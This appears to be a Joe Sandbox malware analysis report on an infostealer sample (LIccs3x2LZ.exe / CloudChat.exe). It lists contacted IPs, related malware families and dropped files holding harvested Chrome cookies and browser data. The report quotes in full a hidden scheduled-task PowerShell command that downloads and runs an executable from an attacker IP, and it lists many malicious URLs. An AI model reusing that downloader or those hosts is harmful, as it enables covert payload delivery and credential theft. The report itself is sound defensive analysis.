http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf	LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144314894.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142034829.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144568975.000002BEAFB1F000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.196.8.119	unknown	Switzerland	34888	SIMPLECARRER2IT	false
172.65.251.78	gitlab.com	United States	13335	CLOUDFLARENETUS	false
66.228.63.21	unknown	United States	63949	LINODE-APLinodeLLCUS	false
188.114.97.3	www.cloudchat.com	European Union	13335	CLOUDFLARENETUS	false
45.79.244.41	unknown	United States	63949	LINODE-APLinodeLLCUS	false
103.78.229.139	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
66.228.63.175	unknown	United States	63949	LINODE-APLinodeLLCUS	false
185.196.10.235	unknown	Switzerland	42624	SIMPLECARRIERCH	true
139.144.164.192	unknown	United States	8968	BT-ITALIAIT	false
139.144.164.103	unknown	United States	8968	BT-ITALIAIT	false
23.21.73.249	httpbin.org	United States	14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522591
Start date and time:	2024-09-30 12:19:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LIccs3x2LZ.exe renamed because original name is a hash value
Original Sample Name:	50ff39e6d5e524a95771c4a219d0e1d15ec42175e6d79d264f8a1eee0c418a18.exe
Detection:	SUS
Classification:	sus36.troj.spyw.evad.winEXE@20/159@3/11
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.31.73, 20.190.159.2, 40.126.31.69, 20.190.159.75, 20.190.159.71, 20.190.159.64, 40.126.31.71, 40.126.31.67
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 2788 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:20:32	API Interceptor	937604x Sleep call for process: CloudChat.exe modified
06:20:54	API Interceptor	19x Sleep call for process: powershell.exe modified
12:20:51	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUser36394424-9ff2-423a-a34f-61f3d3071e78 path: powershell.exe s>-WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
188.114.97.3	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
185.196.10.235	zrOUNP9gMJ.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse
	Or3dzp4vB1.exe	Get hash	malicious	XWorm	Browse
	KAV3vJud90.exe	Get hash	malicious	DarkVision Rat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	2plugin27724.exe	Get hash	malicious	Xmrig	Browse	172.65.251.78
	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Doc1.docm	Get hash	malicious	Python Stealer	Browse	172.65.251.78
	check.bat	Get hash	malicious	Python Stealer	Browse	172.65.251.78
	66b09d7d34310_DefragManager.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	66b09d7d34310_DefragManager.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	172.65.251.78
httpbin.org	ActSet.ps1	Get hash	malicious	Fredy Stealer	Browse	54.84.32.120
	ActSet.ps1	Get hash	malicious	Fredy Stealer	Browse	54.84.32.120
	IDMan.exe	Get hash	malicious	Fredy Stealer	Browse	3.224.101.31
	IDMan.exe	Get hash	malicious	Fredy Stealer	Browse	52.86.188.217
	Setup_IDM.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.14.71
	Setup_IDM.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.14.71
	file.exe	Get hash	malicious	LummaC	Browse	18.206.19.26
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.23.206
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.23.206
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse	3.211.178.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://metrics.send.hotmart.com/v2/events/click/64ec6af4-7b81-4abf-9e97-fe7d70d45255?d=1nFwG70sgZqlXE	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/telop.zip	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Shipping documents 000029393994400000000000.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Italya301 Kurumlu projesi_SLG620-50mm%0190%_ img .exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	http://langtonskilkenny.com/rrUrhf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PI#0034250924.xla.xlsx	Get hash	malicious	FormBook	Browse	172.67.216.244
	PO554830092024.xls	Get hash	malicious	Unknown	Browse	104.21.78.54
CLOUDFLARENETUS	https://metrics.send.hotmart.com/v2/events/click/64ec6af4-7b81-4abf-9e97-fe7d70d45255?d=1nFwG70sgZqlXE	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/telop.zip	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Shipping documents 000029393994400000000000.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Italya301 Kurumlu projesi_SLG620-50mm%0190%_ img .exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	http://langtonskilkenny.com/rrUrhf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PI#0034250924.xla.xlsx	Get hash	malicious	FormBook	Browse	172.67.216.244
	PO554830092024.xls	Get hash	malicious	Unknown	Browse	104.21.78.54
LINODE-APLinodeLLCUS	https://jogosderobloxdematazumbie.blogspot.com/	Get hash	malicious	Unknown	Browse	172.105.170.95
	https://nikhiloswal.kanbantool.com/	Get hash	malicious	HTMLPhisher	Browse	23.92.17.109
	https://changeofscene.ladesk.com/605425-Secure-Business-Documen	Get hash	malicious	HTMLPhisher	Browse	85.90.246.86
	http://ecometanexus.unids.com/	Get hash	malicious	Unknown	Browse	45.79.217.231
	https://llgregory.com/	Get hash	malicious	Unknown	Browse	172.104.100.133
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.105.54.160
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.105.54.160
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.105.54.160
	file.exe	Get hash	malicious	Vidar	Browse	172.105.54.160
	http://rephase.ai	Get hash	malicious	Unknown	Browse	45.33.30.197
SIMPLECARRER2IT	noode.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	185.208.158.248
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	185.208.158.248
	SecuriteInfo.com.Trojan.Win32.Crypt.31282.17969.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	SecuriteInfo.com.Gen.Heur.Munp.1.11072.7602.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	SecuriteInfo.com.Gen.Heur.Munp.1.20199.21407.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	SecuriteInfo.com.Gen.Heur.Munp.1.15479.6612.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	http://www.jp-area.com/beppu/rank.cgi?mode=link&id=218&url=https://0oenqK.startprogrammingnowbook.com	Get hash	malicious	HTMLPhisher	Browse	185.208.158.9
	https://www.pineapplehospitality.net/	Get hash	malicious	Unknown	Browse	185.208.159.111
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot, Neoreklami, Socks5Systemz	Browse	185.208.158.248

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd	HyZh4pn0RF.exe	Get hash	malicious	Creal Stealer	Browse
	MPX283rT19.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	f2q2w9rTqd.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	LicenseManagerWamp.exe	Get hash	malicious	Unknown	Browse
	PhonexZ.exe	Get hash	malicious	Unknown	Browse
	D07bcK36ed.exe	Get hash	malicious	BLX Stealer, Discord Token Stealer	Browse
	D07bcK36ed.exe	Get hash	malicious	BLX Stealer, Discord Token Stealer	Browse
	ultimateastra.exe	Get hash	malicious	Unknown	Browse
	ultimateastra.exe	Get hash	malicious	Unknown	Browse
	4wx72yFLka.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3.zip

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1262578
Entropy (8bit):	7.982634803350775
Encrypted:	false
SSDEEP:	24576:FZrcUNYy6VGMVv8hqatIysRA8x2VfYuk1BeFNPJa:vtGEnhqGIlRsAjsDRa
MD5:	F8730614D0B117A2AC07F27971A66E1A
SHA1:	7E3583CA513A7AE01896B24AC80CBBFC4EE387BB
SHA-256:	19C8EF262301F5CB9102397869F540C8C8F4C8C26E8DC74B1F859869CA312FAF
SHA-512:	C07736A778160CA951D1EF02AB5FCBBDF0DCFA9D5446FCE6ADC767BC1F74BDEA9F6801B93A63ACDF0A6D116E21B550DAFB8F465116679E2E0A4ED848B7A987F5
Malicious:	false
Preview:	PK.........2>Y..,rU...S.....$.Chrome/Chrome_cookies.json.. .........jO.c"...jO.c"...jO.c"......n.@...&..a...h....A...F....d0..3.j.'..W(..u....{.9.....\..#a.AQ".T.jHi...%.HW?.`..2.#............P.....g!.....PHV(f..'hs.Ip.l5...[...__...+...g...q..&.h...3.(.}....(.....K......(j]..f...s..... ..41..r0X.F...S..X......"_...;..M......\....P.f.....9C[..Zqff..U.p...\|.v..P+v[s.Cv=6.i..tj......5.l. ....{....w...#.H&{..z>.k..?}.PK.........2>Ys~B$..........$.Chrome/Chrome_passwords.json.. ............d"......d"......d"....[]PK.........MDW.<.......-....$.Chrome/Local State.. .........;xyV....;xyV....;xyV....t...H.&....;M....TA.......Z.w_...3..d0......}"...G...Z,...?.....Z......?..-{....d....U..>...?.!I."..;.....V.e.....%..q.u...\.7a......F...(.....?.d..d)~%YVt._#.1/~MKq....\|=l.O..4...,.g.b...+.$...N........C........._..y.O..,.b.~...3......`..(~..Rd.<3C..,....k..._g.....m(.s\._[.................?......!..0.-....,.....[..O...).%...O,....<)ybC .C0......_.rO..J.}.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Chrome_cookies.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	595
Entropy (8bit):	5.506845305713762
Encrypted:	false
SSDEEP:	12:QTkk45cU+CAWN/Fkp6G5HZ1EN2Tkk45zQWN/FkpUOH41NOpFwUuQLHaU9WvHpn:QTkl7FkUGlZ1lTkz7Fkb4TaOk6U9WvHp
MD5:	298F0EEBB7779B021AB305D5F25547AE
SHA1:	D835FE754CAAA050B5F8D576D5FC015BFBD15939
SHA-256:	3479B31274F2DAF97B5E9D270A282B88BD879BA606708A32CED4CD21AE4EAFEB
SHA-512:	D30F07E0D3245E3D86B5AD38DF3CD4D324A303AA5A35893CC743C631C2BDA06FCC8E1C19A053586666187118CAC39F3993471BBE596CD1F209B70155D48F2B2A
Malicious:	false
Preview:	.[{.. "domain": ".google.com",.. "expirationDate": 1699018815.76066,.. "hostOnly": false,.. "name": "1P_JAR",.. "path": "/",.. "session": true,.. "storeId": null,.. "value": "2023-10-04-13"..},..{.. "domain": ".google.com",.. "expirationDate": 1712238015.76071,.. "hostOnly": false,.. "name": "NID",.. "path": "/",.. "session": true,.. "storeId": null,.. "value": "511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4"..}]

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Chrome_passwords.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:8n:8n
MD5:	4C5719A7E96761B804CFD99165106C4B
SHA1:	32A975C7D85E193488366850FAC8CD563E45ECF7
SHA-256:	1B7A6AFB58CE9D1AB0DD41E566D637DBC98647399002C198AF5943C6F362A794
SHA-512:	F28D1CCCDC4E723E2DB034332837E39E04A183C3FDFD618036B909CC38FCB76B58464C8D7600929B34C33BEF3E42EE89B53871D03C34933C2265EA2D290B27A4
Malicious:	false
Preview:	.[]

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Cookies

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2397
Entropy (8bit):	5.423816460912032
Encrypted:	false
SSDEEP:	24:1HEZ4qW4VlELb/KxktGu7VwELb/s2QDkUpvdlmF1exy/Otj1BSVvs:W7WsaLTKQGuxTLT2Rv3mves/OPBSVk
MD5:	E91CDDA64A786CE200DB7EC9BB7B4CE7
SHA1:	AB56591A47337F8AB5FFDB22AA388A781EE40DF4
SHA-256:	E64F4AEC6C8CD5F7F57BB004418E626E5177ABA018AA85925937AC512F79EF9F
SHA-512:	1344F0B28751BCA62FC121E5CA690618F9B98EDCA958ACE47472E932481C6A97A29F9E89676949042F860707B8F62DAB93E9FAB64376D9EC9429E7C7CE32B1A6
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "persistent": false,.. "scripts": [ "eventpage_bin_prod.js" ].. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": "script-src 'self'; object-src 'self'",.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "matches": [ "htt

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1322
Entropy (8bit):	5.449026004350873
Encrypted:	false
SSDEEP:	24:1HEis7ViC/yox/fiqeUoLFlmF1s80FKrGfd0d3NZNZx1Fq7eY7nfj1B:WL7V2opiV1mvs8rxTZRczhB
MD5:	01334FB9D092AF2AA46C4185E405C627
SHA1:	47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796
SHA-256:	F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27
SHA-512:	888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548F
Malicious:	false
Preview:	{.. "app": {.. "background": {.. "scripts": [ "craw_background.js" ].. }.. },.. "default_locale": "en",.. "description": "__MSG_APP_DESCRIPTION__",.. "display_in_launcher": false,.. "display_in_new_tab_page": false,.. "icons": {.. "128": "images/icon_128.png",.. "16": "images/icon_16.png".. },.. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJFcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",.. "manifest_version": 2,.. "minimum_chrome_version": "29",.. "name": "__MSG_APP_NAME__",.. "oauth2": {.. "auto_approve": true,.. "client_id": "203784468217.apps.googleusercontent.com",.. "scopes": [ "https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.googleapis.com/auth/chromewebstore.readonly" ].. },.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\History

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	data
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.016374939798868
Encrypted:	false
SSDEEP:	3:wAdks//tvBd95MAcGW2K3uc:wev/tHvcBcc
MD5:	190C46B5065A4BDF11F434A3E8F49AE4
SHA1:	F47DBF81648CFCDD9817F60E55326DAB0A2CB5CB
SHA-256:	9D89630DA3BDE9505D4C2CC684EB01C2D4D7D11028D01D309ACA12B064F779E6
SHA-512:	8F71EA206E367F2F32BF241DD8513A9F436EC4980C401527F4941048A66159B5909438381F7A36179208399FD7A0B41F208C9904E1AFD5D0DD0EF8EDB56661C6
Malicious:	false
Preview:	.X.%*................docsDomain."docs.google.com"

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

